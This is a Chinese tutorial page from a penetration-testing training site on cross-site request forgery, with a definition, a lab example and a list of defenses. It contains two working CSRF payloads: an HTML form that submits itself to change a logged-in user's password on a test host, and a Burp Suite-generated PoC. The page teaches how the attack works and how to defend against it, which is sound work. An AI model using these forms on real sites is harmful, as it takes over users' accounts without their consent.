1. 首页
  2. 渗透测试

[原创]WEB安全第五章 漏洞学习与利用09CSRF漏洞和利用

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

WEB安全第五章 漏洞学习与利用09CSRF漏洞和利用

CSRF定义: 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF , 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。

简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。

1、例子 修改密码

http://www.webtester.com/csrf/csrf01.php?c=main

[原创]WEB安全第五章 漏洞学习与利用09CSRF漏洞和利用

登录过的网站 访问csrf.html就会触payload 从而修改密码。

[php]
<html>
<body>
<form name="csrf" action="http://www.webtester.com/csrf/csrf01.php?c=update" method="POST">
<input type=text name=password value="123456"></input>
<input type="submit" value="submit" />
</form>
<script>
document.csrf.submit();
</script>
</body>
</html>[/php]

访问http://www.demo.com/post-csrf.html 就会修改密码

[原创]WEB安全第五章 漏洞学习与利用09CSRF漏洞和利用

2、测试方法

用burpsuite生成csrf payload

[原创]WEB安全第五章 漏洞学习与利用09CSRF漏洞和利用

[php]
<html>
<!– CSRF PoC – generated by Burp Suite Professional –>
<body>
<script>history.pushState(”, ”, ‘/’)</script>
<form action="http://www.webtester.com/csrf/csrf01.php?c=update" method="POST">
<input type="hidden" name="password" value="a123456" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

[/php]

3、防御方法

加上token 进行认证

判断页面来源

页面加验证码判断

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/302.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息